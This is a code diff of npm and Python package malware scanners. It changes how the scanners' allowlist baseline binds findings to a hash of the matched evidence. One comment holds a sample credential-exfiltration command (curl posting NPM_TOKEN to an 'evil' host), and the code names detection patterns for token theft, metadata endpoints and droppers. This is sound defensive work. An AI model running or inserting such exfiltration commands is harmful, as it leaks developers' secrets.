# full LOGICAL line (the matched line plus its bracket-continuation lines)
|
||||
# whenever the snippet does not already show all of it, so a changed payload
|
||||
# tail, a truncated body, or a multi-line option/header reopens. Offsets are
|
||||
# mapped to line numbers via bisect over precomputed newline positions, so this
|
||||
# is O(log n) instead of rescanning the file prefix for every match.
|
||||
idx = bisect.bisect_left(nl, m.start()) # 0-based line index of the match
|
||||
line_start = nl[idx - 1] + 1 if idx > 0 else 0
|
||||
ke = bisect.bisect_left(nl, m.end())
|
||||
line_end = nl[ke] if ke < len(nl) else len(text)
|
||||
full_logical = _logical_line_text(lines, sl_blanked, ml_blanked, idx)
|
||||
start = max(line_start, m.start() - 30)
|
||||
end = min(line_end, m.end() + 30)
|
||||
snippet = text[start:end].replace("\n", " ")
|
||||
if len(snippet) > max_chars:
|
||||
snippet = snippet[:max_chars] + "..."
|
||||
if snippet != full_logical:
|
||||
# Normalize before digesting, matching _evidence_hash, so a formatter-only
|
||||
# reindent of the bound continuation lines does not reopen -- but preserve
|
||||
# whitespace inside string literals so a changed request/payload body does.
|
||||
canon = _canon_preserve_strings(full_logical)
|
||||
digest = hashlib.sha256(canon.encode("utf-8", "replace")).hexdigest()
|
||||
snippet = f"{snippet} sha256:{digest}"
|
||||
return snippet
|
||||
|
||||
|
||||
def _stream_overflow_digest(
|
||||
matches, lines: list[str], sl_blanked: list[str], ml_blanked: list[str], nl: list[int]
|
||||
) -> tuple[int, str]:
|
||||
"""A single digest binding the LOGICAL line (the bound bracket-group context,
|
||||
not just the regex match text) of every overflow match in the iterable, plus
|
||||
the count of matches folded. Streams the matches (any iterable of re.Match) so a
|
||||
huge overflow never materializes a list. Whitespace-normalized to match
|
||||
_evidence_hash so a reindent does not reopen."""
|
||||
h = hashlib.sha256()
|
||||
count = 0
|
||||
for m in matches:
|
||||
_fold_overflow_match(h, m, lines, sl_blanked, ml_blanked, nl)
|
||||
count += 1
|
||||
return count, h.hexdigest()
|
||||
|
||||
|
||||
def _fold_overflow_match(
|
||||
h, m: re.Match, lines: list[str], sl_blanked: list[str], ml_blanked: list[str], nl: list[int]
|
||||
) -> None:
|
||||
"""Fold one overflow match's whitespace-normalized logical-line context into the
|
||||
running hash ``h``. Shared by _stream_overflow_digest and the inline overflow
|
||||
fold in _outbound_host_evidence so both produce the identical digest."""
|
||||
idx = bisect.bisect_left(nl, m.start())
|
||||
ll = _logical_line_text(lines, sl_blanked, ml_blanked, idx)
|
||||
h.update(b"\x00")
|
||||
h.update(_canon_preserve_strings(ll).encode("utf-8", "replace"))
|
||||
|
||||
|
||||
def _evidence(
|
||||
text: str,
|
||||
pat: re.Pattern,
|
||||
max_chars: int = 200,
|
||||
) -> str:
|
||||
m = pat.search(text)
|
||||
if not m:
|
||||
# Record every match (not a truncated sample) so an extra match appended to an
|
||||
# already-flagged file changes the evidence instead of riding the first few.
|
||||
# Past _MAX_EVIDENCE_MATCHES the remaining matches are folded into one digest
|
||||
# (binding their logical-line context) so the evidence string stays bounded
|
||||
# while a changed payload past the cap still reopens. The matches are streamed
|
||||
# from finditer rather than materialized into a list: a generated file can
|
||||
# repeat a cheap signal (e.g. NPM_TOKEN) millions of times, and holding a
|
||||
# re.Match per occurrence before applying the cap would stall or OOM the scan.
|
||||
it = pat.finditer(text)
|
||||
shown_matches = list(itertools.islice(it, _MAX_EVIDENCE_MATCHES))
|
||||
if not shown_matches:
|
||||
return ""
|
||||
start = max(0, m.start() - 30)
|
||||
end = min(len(text), m.end() + 30)
|
||||
snippet = text[start:end].replace("\n", " ")
|
||||
if len(snippet) > max_chars:
|
||||
snippet = snippet[:max_chars] + "..."
|
||||
return snippet
|
||||
lines, sl_blanked, ml_blanked, nl = _index_text(text)
|
||||
shown = [
|
||||
_format_match(text, lines, sl_blanked, ml_blanked, nl, m, max_chars) for m in shown_matches
|
||||
]
|
||||
# Fold the rest (past the cap) into one digest as they arrive, never building a
|
||||
# second list. Byte-identical to digesting matches[_MAX_EVIDENCE_MATCHES:].
|
||||
overflow_count, digest = _stream_overflow_digest(it, lines, sl_blanked, ml_blanked, nl)
|
||||
if overflow_count:
|
||||
shown.append(f"(+{overflow_count} more) sha256:{digest}")
|
||||
return " | ".join(shown)
|
||||
|
||||
|
||||
def _ioc_evidence(text: str, needle: str) -> str:
|
||||
"""Matched-line context (with bracket-group continuation) for a literal IOC
|
||||
needle, so a changed adjacent fetch/exfil body reopens the key instead of
|
||||
riding the bare constant. Falls back to the needle itself if, defensively,
|
||||
nothing matches (the caller only reaches here when ``needle in text``)."""
|
||||
return _evidence(text, re.compile(re.escape(needle))) or needle
|
||||
|
||||
|
||||
LIFECYCLE_HOOKS = ("preinstall", "install", "postinstall", "prepare")
|
||||
|
|
@ -1129,6 +1475,18 @@ def scan_package_json(pkg: PackageEntry, rel: str, text: str) -> list[Finding]:
|
|||
body = scripts.get(hook)
|
||||
if not isinstance(body, str):
|
||||
continue
|
||||
# Pin the whole lifecycle body via one digest shared by every lifecycle
|
||||
# finding below: a script that keeps the matched signal but changes
|
||||
# another line (e.g. swapping `echo safe` for `curl -d "$NPM_TOKEN"
|
||||
# https://evil`) must reopen. The stored evidence is a bounded matched
|
||||
# snippet plus this digest, never the entire body, so `--write-baseline`
|
||||
# on a package with a multi-MiB install script does not bloat the baseline
|
||||
# JSON while the digest still binds the full body. Normalized to match
|
||||
# _evidence_hash so a reindent alone does not reopen, while whitespace
|
||||
# inside quoted strings is preserved so a changed quoted payload does.
|
||||
body_digest = hashlib.sha256(
|
||||
_canon_preserve_strings(body).encode("utf-8", "replace")
|
||||
).hexdigest()
|
||||
if _LIFECYCLE_FETCH_EXEC.search(body):
|
||||
findings.append(
|
||||
Finding(
|
||||
|
|
@ -1136,7 +1494,7 @@ def scan_package_json(pkg: PackageEntry, rel: str, text: str) -> list[Finding]:
|
|||
package = pkg.display,
|
||||
filename = rel,
|
||||
pattern = f"lifecycle-fetch-exec ({hook})",
|
||||
evidence = body,
|
||||
evidence = f"{_evidence(body, _LIFECYCLE_FETCH_EXEC)} body-sha256:{body_digest}",
|
||||
detail = (
|
||||
f"`scripts.{hook}` fetches an external "
|
||||
"resource and pipes/chains it to an "
|
||||
|
|
@ -1155,7 +1513,10 @@ def scan_package_json(pkg: PackageEntry, rel: str, text: str) -> list[Finding]:
|
|||
package = pkg.display,
|
||||
filename = rel,
|
||||
pattern = f"cred-path-in-lifecycle ({hook})",
|
||||
evidence = body,
|
||||
evidence = (
|
||||
f"{_evidence(body, re.compile(re.escape(path_substr)))} "
|
||||
f"body-sha256:{body_digest}"
|
||||
),
|
||||
detail = (
|
||||
f"`scripts.{hook}` references {why} "
|
||||
f"({path_substr!r}); install-time access "
|
||||
|
|
@ -1171,7 +1532,7 @@ def scan_package_json(pkg: PackageEntry, rel: str, text: str) -> list[Finding]:
|
|||
package = pkg.display,
|
||||
filename = rel,
|
||||
pattern = f"cred-env-in-lifecycle ({hook})",
|
||||
evidence = _evidence(body, _JS_ENV_TOKEN),
|
||||
evidence = f"{_evidence(body, _JS_ENV_TOKEN)} body-sha256:{body_digest}",
|
||||
detail = (
|
||||
f"`scripts.{hook}` references a credential "
|
||||
"env var (GITHUB_TOKEN / NPM_TOKEN / AWS_* "
|
||||
|
|
@ -1237,6 +1598,60 @@ def _host_in_outbound_context(text: str, host: str) -> bool:
|
|||
return False
|
||||
|
||||
|
||||
def _outbound_host_evidence(text: str, host: str) -> str:
|
||||
"""Evidence capturing the host WITH its outbound context (URL path, fetch
|
||||
call, host config), so a changed path/headers/body reopens the key instead
|
||||
of riding the bare host literal. Falls back to the host if none matches."""
|
||||
host_re = re.escape(host)
|
||||
patterns = (
|
||||
re.compile(rf"(?:https?:)?//{host_re}(?:[:/\"'?#][^\n]*)?", re.IGNORECASE),
|
||||
re.compile(
|
||||
rf"(?:{_FETCH_VERBS_PAT})[^\n]{{0,200}}{host_re}[^\n]{{0,200}}"
|
||||
rf"|{host_re}[^\n]{{0,200}}(?:{_FETCH_VERBS_PAT})[^\n]{{0,200}}",
|
||||
re.IGNORECASE,
|
||||
),
|
||||
# Host-config form: capture the whole line (path/headers/body), so a
|
||||
# changed outbound payload on the same hostname line reopens the key.
|
||||
re.compile(rf"[^\n]*(?:host|hostname)\s*:\s*['\"`]{host_re}['\"`][^\n]*", re.IGNORECASE),
|
||||
)
|
||||
# Record EVERY outbound context for the host, not just the first form that
|
||||
# matches: a file that already has a baselined URL for the host and later adds
|
||||
# a separate host-config request (or a second URL) must change the evidence so
|
||||
# the new payload cannot inherit the old key. Forms are claimed in order, and a
|
||||
# region already claimed by an earlier form is skipped, so the common
|
||||
# single-context case keeps its existing snippet. Each form is capped at
|
||||
# _MAX_EVIDENCE_MATCHES matches so a host repeated thousands of times in a
|
||||
# minified file cannot make the overlap check quadratic; once chosen is full
|
||||
# the rest are folded into a digest AS THEY ARRIVE (never accumulated into a
|
||||
# list, so a host repeated millions of times cannot OOM the scan) and an added
|
||||
# context still reopens.
|
||||
lines, sl_blanked, ml_blanked, nl = _index_text(text)
|
||||
claimed: list[tuple[int, int]] = []
|
||||
chosen: list[re.Match] = []
|
||||
overflow_count = 0
|
||||
overflow_hash = hashlib.sha256()
|
||||
for pat in patterns:
|
||||
for m in pat.finditer(text):
|
||||
if len(chosen) < _MAX_EVIDENCE_MATCHES:
|
||||
# Overlap check runs only while filling the display list, so
|
||||
# `claimed` is bounded by the cap and this stays O(cap) per match
|
||||
# (not quadratic), while every later match is still counted below.
|
||||
if any(m.start() < e and s < m.end() for s, e in claimed):
|
||||
continue
|
||||
claimed.append((m.start(), m.end()))
|
||||
chosen.append(m)
|
||||
else:
|
||||
_fold_overflow_match(overflow_hash, m, lines, sl_blanked, ml_blanked, nl)
|
||||
overflow_count += 1
|
||||
if not chosen:
|
||||
return host
|
||||
chosen.sort(key = lambda m: m.start())
|
||||
shown = [_format_match(text, lines, sl_blanked, ml_blanked, nl, m, 1000) for m in chosen]
|
||||
if overflow_count:
|
||||
shown.append(f"(+{overflow_count} more) sha256:{overflow_hash.hexdigest()}")
|
||||
return " | ".join(shown)
|
||||
|
||||
|
||||
def scan_text_blob(pkg: PackageEntry, rel: str, text: str) -> list[Finding]:
|
||||
findings: list[Finding] = []
|
||||
|
||||
|
|
@ -1248,7 +1663,10 @@ def scan_text_blob(pkg: PackageEntry, rel: str, text: str) -> list[Finding]:
|
|||
if rel.lower().endswith(_JS_FAMILY_SUFFIXES):
|
||||
text = _strip_js_noncode(text)
|
||||
|
||||
# IOC substrings (literal, case-sensitive).
|
||||
# IOC substrings (literal, case-sensitive). Evidence is the matched-line
|
||||
# context (with its bracket-group continuation), not the bare needle: an IOC
|
||||
# host/hash left in place while the adjacent fetch/exfil body changes must
|
||||
# reopen the key instead of riding the constant.
|
||||
for needle, (sev, why) in KNOWN_IOC_STRINGS.items():
|
||||
if needle in text:
|
||||
findings.append(
|
||||
|
|
@ -1257,12 +1675,14 @@ def scan_text_blob(pkg: PackageEntry, rel: str, text: str) -> list[Finding]:
|
|||
package = pkg.display,
|
||||
filename = rel,
|
||||
pattern = "known-ioc-string",
|
||||
evidence = needle,
|
||||
evidence = _ioc_evidence(text, needle),
|
||||
detail = f"{why}: {needle!r}",
|
||||
)
|
||||
)
|
||||
|
||||
# Cred surfaces, tier 1: hosts with no legit use; bare substring.
|
||||
# Cred surfaces, tier 1: hosts with no legit use. Bind the outbound context
|
||||
# (path/headers/body) when present so a changed exfil payload on the same call
|
||||
# reopens; falls back to the bare host when it is not in an outbound call.
|
||||
for needle, why in CRED_HOST_ALWAYS_BAD:
|
||||
if needle in text:
|
||||
findings.append(
|
||||
|
|
@ -1271,7 +1691,7 @@ def scan_text_blob(pkg: PackageEntry, rel: str, text: str) -> list[Finding]:
|
|||
package = pkg.display,
|
||||
filename = rel,
|
||||
pattern = "cred-surface-host (always-bad)",
|
||||
evidence = needle,
|
||||
evidence = _outbound_host_evidence(text, needle),
|
||||
detail = (
|
||||
f"references {why} ({needle!r}); no legitimate "
|
||||
"frontend use of this surface"
|
||||
|
|
@ -1289,7 +1709,7 @@ def scan_text_blob(pkg: PackageEntry, rel: str, text: str) -> list[Finding]:
|
|||
package = pkg.display,
|
||||
filename = rel,
|
||||
pattern = "cred-surface-host (outbound)",
|
||||
evidence = needle,
|
||||
evidence = _outbound_host_evidence(text, needle),
|
||||
detail = (
|
||||
f"references {why} ({needle!r}) in an outbound "
|
||||
"call / URL / host config; a defensive blocklist "
|
||||
|
|
@ -1393,7 +1813,7 @@ def scan_extracted_tree(pkg: PackageEntry, root: Path) -> list[Finding]:
|
|||
package = pkg.display,
|
||||
filename = rel,
|
||||
pattern = "known-ioc-string",
|
||||
evidence = needle,
|
||||
evidence = _ioc_evidence(text, needle),
|
||||
detail = f"{why}: {needle!r}",
|
||||
)
|
||||
)
|
||||
|
|
@ -1453,11 +1873,11 @@ def scan_one(pkg: PackageEntry, workspace: Path) -> tuple[list[Finding], str | N
|
|||
|
||||
_DEFAULT_BASELINE_PATH = str(Path(__file__).resolve().parent / "scan_npm_packages_baseline.json")
|
||||
|
||||
# Bumped when the entry-key semantics change. v2 keys on the package-relative
|
||||
# path; v1 stored only a basename, so a v1 entry could suppress a same-named file
|
||||
# in a different directory. A pre-v2 baseline with entries is ignored (fail
|
||||
# closed) rather than mis-applied.
|
||||
_BASELINE_SCHEMA_VERSION = 2
|
||||
# Bumped when the entry-key semantics change. v3 adds an evidence hash so a new
|
||||
# payload under an already-listed package/path/pattern is not auto-suppressed; v2
|
||||
# keyed on the package-relative path; v1 stored only a basename. A pre-v3 baseline
|
||||
# with entries is ignored (fail closed) rather than mis-applied.
|
||||
_BASELINE_SCHEMA_VERSION = 3
|
||||
|
||||
|
||||
def _norm_pkg_name(display: str) -> str:
|
||||
|
|
@ -1486,12 +1906,28 @@ def _relpath_in_package(filename: str) -> str:
|
|||
return f[len(_NPM_TARBALL_ROOT) :] if f.startswith(_NPM_TARBALL_ROOT) else f
|
||||
|
||||
|
||||
def _finding_key(f: Finding) -> tuple[str, str, str]:
|
||||
"""Stable allowlist key: normalized package, package-relative path, pattern."""
|
||||
return (_norm_pkg_name(f.package), _relpath_in_package(f.filename), f.pattern)
|
||||
def _evidence_hash(evidence: str) -> str:
|
||||
"""Stable digest of the matched evidence. The npm snippet carries no line
|
||||
markers, so it is already version-stable; whitespace outside string literals is
|
||||
collapsed (reindent-stable) while whitespace inside literals is preserved, so a
|
||||
changed payload body reopens but a formatter reindent does not."""
|
||||
canon = _canon_preserve_strings(evidence or "")
|
||||
return hashlib.sha256(canon.encode("utf-8", "replace")).hexdigest()
|
||||
|
||||
|
||||
def _load_baseline(path: str) -> set[tuple[str, str, str]]:
|
||||
def _finding_key(f: Finding) -> tuple[str, str, str, str]:
|
||||
"""Allowlist key: normalized package, package-relative path, pattern, and a
|
||||
hash of the matched evidence -- so changed flagged code under an already-listed
|
||||
package/path/pattern reopens instead of riding the reviewed entry."""
|
||||
return (
|
||||
_norm_pkg_name(f.package),
|
||||
_relpath_in_package(f.filename),
|
||||
f.pattern,
|
||||
_evidence_hash(f.evidence or f.detail),
|
||||
)
|
||||
|
||||
|
||||
def _load_baseline(path: str) -> set[tuple[str, str, str, str]]:
|
||||
"""Load an allowlist JSON into a set of match keys. Missing file -> empty."""
|
||||
try:
|
||||
with open(path, "r", encoding = "utf-8") as fh:
|
||||
|
|
@ -1501,27 +1937,55 @@ def _load_baseline(path: str) -> set[tuple[str, str, str]]:
|
|||
except (OSError, json.JSONDecodeError) as exc:
|
||||
print(f" [WARN] could not read baseline {path}: {exc}", file = sys.stderr)
|
||||
return set()
|
||||
if not isinstance(data, dict):
|
||||
print(f" [WARN] baseline {path} is not a JSON object", file = sys.stderr)
|
||||
return set()
|
||||
entries = data.get("entries", [])
|
||||
if entries and data.get("version") != _BASELINE_SCHEMA_VERSION:
|
||||
if not isinstance(entries, list):
|
||||
print(f" [WARN] baseline {path} entries is not a list", file = sys.stderr)
|
||||
return set()
|
||||
# v2 shares v3's package-relative keying, so its entries migrate by recomputing
|
||||
# the evidence hash from their stored evidence; only pre-v2 (basename) is rejected.
|
||||
if entries and data.get("version") not in (_BASELINE_SCHEMA_VERSION, 2):
|
||||
print(
|
||||
f" [WARN] baseline schema v{data.get('version')} predates package-relative "
|
||||
f"keys; ignoring {len(entries)} entr(y/ies). Regenerate with --write-baseline.",
|
||||
file = sys.stderr,
|
||||
)
|
||||
return set()
|
||||
keys: set[tuple[str, str, str]] = set()
|
||||
keys: set[tuple[str, str, str, str]] = set()
|
||||
legacy = 0
|
||||
for e in entries:
|
||||
if not isinstance(e, dict):
|
||||
continue
|
||||
try:
|
||||
keys.add((_norm_pkg_name(e["package"]), _relpath_in_package(e["file"]), e["pattern"]))
|
||||
evidence_hash = e.get("evidence_hash") or _evidence_hash(e.get("evidence") or "")
|
||||
if not e.get("evidence_hash"):
|
||||
legacy += 1
|
||||
keys.add(
|
||||
(
|
||||
_norm_pkg_name(e["package"]),
|
||||
_relpath_in_package(e["file"]),
|
||||
e["pattern"],
|
||||
evidence_hash,
|
||||
)
|
||||
)
|
||||
except (KeyError, TypeError):
|
||||
continue
|
||||
if legacy:
|
||||
print(
|
||||
f" [WARN] baseline {path}: {legacy} entries lack evidence_hash and may "
|
||||
f"not suppress until regenerated with --write-baseline (findings reopen "
|
||||
f"rather than risk hiding changed code under a coarse key)",
|
||||
file = sys.stderr,
|
||||
)
|
||||
return keys
|
||||
|
||||
|
||||
def _write_baseline(path: str, findings: list[Finding], threshold_rank: int) -> int:
|
||||
"""Persist at-or-above-threshold findings as an allowlist for triage."""
|
||||
entries = []
|
||||
seen: set[tuple[str, str, str]] = set()
|
||||
seen: set[tuple[str, str, str, str]] = set()
|
||||
for f in sorted(findings, key = lambda f: (_SEVERITY_RANK[f.severity], f.package)):
|
||||
if _SEVERITY_RANK[f.severity] > threshold_rank:
|
||||
continue
|
||||
|
|
@ -1529,21 +1993,24 @@ def _write_baseline(path: str, findings: list[Finding], threshold_rank: int) ->
|
|||
if key in seen:
|
||||
continue
|
||||
seen.add(key)
|
||||
evidence = f.evidence or f.detail
|
||||
entries.append(
|
||||
{
|
||||
"package": _norm_pkg_name(f.package),
|
||||
"file": _relpath_in_package(f.filename),
|
||||
"pattern": f.pattern,
|
||||
"severity": f.severity,
|
||||
"evidence": (f.evidence or f.detail)[:240],
|
||||
"evidence": evidence,
|
||||
"evidence_hash": _evidence_hash(evidence),
|
||||
}
|
||||
)
|
||||
doc = {
|
||||
"_comment": (
|
||||
"scan_npm_packages.py allowlist. Each entry is a HIGH/CRITICAL "
|
||||
"finding manually judged benign. Matched on (package, "
|
||||
"package-relative path, pattern); evidence/severity are for review "
|
||||
"only. Regenerate with --write-baseline AFTER reviewing every line."
|
||||
"package-relative path, pattern, evidence hash); a new payload under "
|
||||
"an already-listed package/path/pattern reopens. severity is for "
|
||||
"review only. Regenerate with --write-baseline AFTER reviewing every line."
|
||||
),
|
||||
"version": _BASELINE_SCHEMA_VERSION,
|
||||
"entries": entries,
|
||||
|
|
@ -1556,7 +2023,7 @@ def _write_baseline(path: str, findings: list[Finding], threshold_rank: int) ->
|
|||
|
||||
|
||||
def _partition_baseline(
|
||||
findings: list[Finding], baseline: set[tuple[str, str, str]]
|
||||
findings: list[Finding], baseline: set[tuple[str, str, str, str]]
|
||||
) -> tuple[list[Finding], list[Finding]]:
|
||||
"""Split findings into (active, suppressed) by allowlist membership."""
|
||||
if not baseline:
|
||||
|
|
|
|||
|
|
@ -1,5 +1,5 @@
|
|||
{
|
||||
"_comment": "scan_npm_packages.py allowlist. Each entry is a HIGH/CRITICAL finding manually judged benign. Matched on (package, package-relative path, pattern); evidence/severity are for review only. Regenerate with --write-baseline AFTER reviewing every line. EMPTY by design: a full scan of studio/frontend/package-lock.json (915 packages) produced 0 findings, so nothing needs suppressing and the CI gate can run enforcing (SCAN_ENFORCE=1) as-is. If a future dependency adds a reviewed-benign HIGH/CRITICAL, add it here rather than weakening a pattern.",
|
||||
"version": 2,
|
||||
"_comment": "scan_npm_packages.py allowlist. Each entry is a HIGH/CRITICAL finding manually judged benign. Matched on (package, package-relative path, pattern, evidence hash); a new payload under an already-listed package/path/pattern reopens instead of riding the entry. severity is for review only. Regenerate with --write-baseline AFTER reviewing every line. EMPTY by design: a full scan of studio/frontend/package-lock.json (915 packages) produced 0 findings, so nothing needs suppressing and the CI gate can run enforcing (SCAN_ENFORCE=1) as-is. If a future dependency adds a reviewed-benign HIGH/CRITICAL, add it here rather than weakening a pattern.",
|
||||
"version": 3,
|
||||
"entries": []
|
||||
}
|
||||
|
|
|
|||
|
|
@ -43,9 +43,10 @@ False positives:
|
|||
examples and `>>>` doctests cannot trip a finding. Residual findings that
|
||||
are genuine library behavior (a HTTP client reading HF_TOKEN, a vendored
|
||||
test fixture) are suppressed via a reviewed baseline allowlist, matched on
|
||||
(package, basename(file), check). A NEW kind of finding in an already-listed
|
||||
file is a different check and still fails. This mirrors the Hugging Face Hub
|
||||
approach (ClamAV/picklescan: low-FP, signature/structural, surface status).
|
||||
(package, package-relative file, check, evidence hash). A new check, or
|
||||
changed flagged code under the same check, reopens the finding; version
|
||||
bumps and line shifts do not. This mirrors the Hugging Face Hub approach
|
||||
(ClamAV/picklescan: low-FP, signature/structural, surface status).
|
||||
|
||||
Exit codes:
|
||||
0 -- no non-baselined CRITICAL or HIGH findings (or --write-baseline)
|
||||
|
|
@ -55,6 +56,8 @@ Exit codes:
|
|||
|
||||
import argparse
|
||||
import atexit
|
||||
import bisect
|
||||
import hashlib
|
||||
import io
|
||||
import json
|
||||
import os
|
||||
|
|
@ -156,6 +159,9 @@ RE_EMBEDDED_KEYS = re.compile(
|
|||
re.DOTALL,
|
||||
)
|
||||
|
||||
# Full PEM block (BEGIN..END), used to pin a multiline key body in evidence.
|
||||
RE_PEM_BLOCK = re.compile(r"-----BEGIN[^\n]*KEY-----.*?-----END[^\n]*KEY-----", re.DOTALL)
|
||||
|
||||
# Cloud metadata / IMDS endpoints
|
||||
RE_CLOUD_METADATA = re.compile(
|
||||
r"169\.254\.169\.254" # AWS/Azure/GCP IMDS
|
||||
|
|
@ -476,22 +482,26 @@ def check_pth_file(content: str, filename: str, package: str) -> list[Finding]:
|
|||
|
||||
# Large base64 blob
|
||||
if RE_LARGE_BLOB.search(content):
|
||||
blob = RE_LARGE_BLOB.search(content).group()
|
||||
# Digest every blob (not just the first 120 chars, and not just the
|
||||
# first blob), so a later payload that keeps the prefix or appends a
|
||||
# second encoded blob reopens.
|
||||
blob, digest = _blob_digest(content)
|
||||
findings.append(
|
||||
Finding(
|
||||
CRITICAL,
|
||||
package,
|
||||
filename,
|
||||
f".pth has large base64-like blob ({len(blob)} chars)",
|
||||
blob[:120] + "...",
|
||||
f"{blob[:120]}... sha256:{digest}",
|
||||
)
|
||||
)
|
||||
|
||||
# Catch-all: any import line in .pth if nothing else triggered
|
||||
# Catch-all: any import line in .pth if nothing else triggered. Bind every
|
||||
# line through a digest so an appended/swapped import reopens the key, but cap
|
||||
# the displayed text so a large .pth of benign-looking imports cannot dump up
|
||||
# to the archive member cap into the logs or baseline JSON.
|
||||
if not findings and import_lines:
|
||||
evidence = "\n".join(import_lines[:5])
|
||||
if len(import_lines) > 5:
|
||||
evidence += f"\n... ({len(import_lines)} import lines total)"
|
||||
evidence = _cap_line("\n".join(import_lines))
|
||||
findings.append(
|
||||
Finding(
|
||||
HIGH,
|
||||
|
|
@ -505,13 +515,15 @@ def check_pth_file(content: str, filename: str, package: str) -> list[Finding]:
|
|||
# Unusually large executable .pth (litellm's was 34 KB; legit ones are <100 bytes)
|
||||
size = len(content)
|
||||
if size > 500 and import_lines:
|
||||
# Pin the content so a different payload of the same size/import count reopens.
|
||||
digest = hashlib.sha256(content.encode("utf-8", "replace")).hexdigest()
|
||||
findings.append(
|
||||
Finding(
|
||||
HIGH,
|
||||
package,
|
||||
filename,
|
||||
f"Unusually large executable .pth ({size} bytes)",
|
||||
f"{len(import_lines)} import line(s) in {size}-byte .pth file",
|
||||
f"{len(import_lines)} import line(s) in {size}-byte .pth file sha256:{digest}",
|
||||
)
|
||||
)
|
||||
|
||||
|
|
@ -629,6 +641,13 @@ def _hidden_payload_findings(
|
|||
removed = "".join(o if o != s else " " for o, s in zip(original, code))
|
||||
out = []
|
||||
|
||||
# The visible exec/eval line is what makes the hidden string executable, so
|
||||
# bind it into every finding's evidence: otherwise a reviewed false positive
|
||||
# that keeps the same hidden text but flips a harmless `eval("1+1")` to
|
||||
# `exec(__doc__)` (now running the payload) keeps the same key and stays
|
||||
# suppressed. Taken from `stripped` (real code), where the exec/eval lives.
|
||||
trigger = _extract_evidence(stripped, RE_EXEC_EVAL)
|
||||
|
||||
def _hidden(pat):
|
||||
# Carrier present in a blanked region but NOT in real code. A carrier in
|
||||
# real code is already caught by the normal check, so restricting to
|
||||
|
|
@ -643,7 +662,7 @@ def _hidden_payload_findings(
|
|||
package,
|
||||
filename,
|
||||
"exec/eval with payload hidden in a docstring/string",
|
||||
f"{label}: {_extract_evidence(removed, pat)}",
|
||||
f"exec: {trigger}\n{label}: {_extract_evidence(removed, pat)}",
|
||||
)
|
||||
)
|
||||
# Fetch-then-run dropper: a network call AND an os/subprocess exec that both
|
||||
|
|
@ -657,7 +676,9 @@ def _hidden_payload_findings(
|
|||
package,
|
||||
filename,
|
||||
"exec/eval with hidden network+exec payload",
|
||||
f"network+exec: {_extract_evidence(removed, RE_SUBPROCESS)}",
|
||||
f"exec: {trigger}\n"
|
||||
f"network+exec: {_extract_evidence(removed, RE_NETWORK)} | "
|
||||
f"{_extract_evidence(removed, RE_SUBPROCESS)}",
|
||||
)
|
||||
)
|
||||
return out
|
||||
|
|
@ -717,14 +738,19 @@ def check_py_file(content: str, filename: str, package: str) -> list[Finding]:
|
|||
|
||||
# openssl encryption + network/key material (encrypted exfiltration)
|
||||
if has_openssl_cli and (has_network or has_keys):
|
||||
# Bind whichever side(s) co-occur so a changed endpoint or key reopens.
|
||||
evidence = [f"OpenSSL: {_extract_evidence(content, RE_OPENSSL_CLI)}"]
|
||||
if has_network:
|
||||
evidence.append(f"Network: {_extract_evidence(content, RE_NETWORK)}")
|
||||
if has_keys:
|
||||
evidence.append(f"Key: {_embedded_key_evidence(content)}")
|
||||
findings.append(
|
||||
Finding(
|
||||
CRITICAL,
|
||||
package,
|
||||
filename,
|
||||
"openssl encryption + network/key material (encrypted exfiltration)",
|
||||
f"OpenSSL: {_extract_evidence(content, RE_OPENSSL_CLI)}\n"
|
||||
f"Network: {_extract_evidence(content, RE_NETWORK)}",
|
||||
"\n".join(evidence),
|
||||
)
|
||||
)
|
||||
|
||||
|
|
@ -896,6 +922,10 @@ def check_py_file(content: str, filename: str, package: str) -> list[Finding]:
|
|||
|
||||
# Obfuscated payload: base64 + exec/eval + large blob
|
||||
if has_base64 and has_exec_eval and has_blob:
|
||||
# Digest every blob too: a payload may sit on a separate line from the
|
||||
# decode call, and a second encoded blob may be appended later, so
|
||||
# binding only the base64/exec lines or the first blob would miss it.
|
||||
_, blob_digest = _blob_digest(content)
|
||||
findings.append(
|
||||
Finding(
|
||||
HIGH,
|
||||
|
|
@ -903,7 +933,8 @@ def check_py_file(content: str, filename: str, package: str) -> list[Finding]:
|
|||
filename,
|
||||
"base64 decode + exec/eval + large encoded blob",
|
||||
f"Base64: {_extract_evidence(content, RE_BASE64)}\n"
|
||||
f"Exec: {_extract_evidence(content, RE_EXEC_EVAL)}",
|
||||
f"Exec: {_extract_evidence(content, RE_EXEC_EVAL)}\n"
|
||||
f"Blob: sha256:{blob_digest}",
|
||||
)
|
||||
)
|
||||
|
||||
|
|
@ -928,32 +959,48 @@ def check_py_file(content: str, filename: str, package: str) -> list[Finding]:
|
|||
package,
|
||||
filename,
|
||||
"Embedded cryptographic key + network calls (encrypted exfil pattern)",
|
||||
f"Key: {_extract_evidence(content, RE_EMBEDDED_KEYS)}\n"
|
||||
f"Key: {_embedded_key_evidence(content)}\n"
|
||||
f"Network: {_extract_evidence(content, RE_NETWORK)}",
|
||||
)
|
||||
)
|
||||
|
||||
# Anti-analysis + any other suspicious pattern
|
||||
if has_anti and (has_network or has_subprocess or has_exec_eval):
|
||||
# Bind the suspicious side too so a changed payload reopens.
|
||||
evidence = [f"Anti: {_extract_evidence(content, RE_ANTI_ANALYSIS)}"]
|
||||
if has_network:
|
||||
evidence.append(f"Network: {_extract_evidence(content, RE_NETWORK)}")
|
||||
if has_subprocess:
|
||||
evidence.append(f"Subprocess: {_extract_evidence(content, RE_SUBPROCESS)}")
|
||||
if has_exec_eval:
|
||||
evidence.append(f"Exec: {_extract_evidence(content, RE_EXEC_EVAL)}")
|
||||
findings.append(
|
||||
Finding(
|
||||
HIGH,
|
||||
package,
|
||||
filename,
|
||||
"Anti-analysis/sandbox evasion + suspicious behavior",
|
||||
f"Anti: {_extract_evidence(content, RE_ANTI_ANALYSIS)}",
|
||||
"\n".join(evidence),
|
||||
)
|
||||
)
|
||||
|
||||
# DNS exfiltration with dynamic hostnames
|
||||
if has_dns_exfil and (has_base64 or has_network or has_creds):
|
||||
# Bind the co-occurring side so a changed exfil channel reopens.
|
||||
evidence = [f"DNS: {_extract_evidence(content, RE_DNS_EXFIL)}"]
|
||||
if has_base64:
|
||||
evidence.append(f"Base64: {_extract_evidence(content, RE_BASE64)}")
|
||||
if has_network:
|
||||
evidence.append(f"Network: {_extract_evidence(content, RE_NETWORK)}")
|
||||
if has_creds:
|
||||
evidence.append(f"Creds: {_extract_evidence(content, RE_CRED_ACCESS)}")
|
||||
findings.append(
|
||||
Finding(
|
||||
HIGH,
|
||||
package,
|
||||
filename,
|
||||
"DNS exfiltration / tunneling patterns",
|
||||
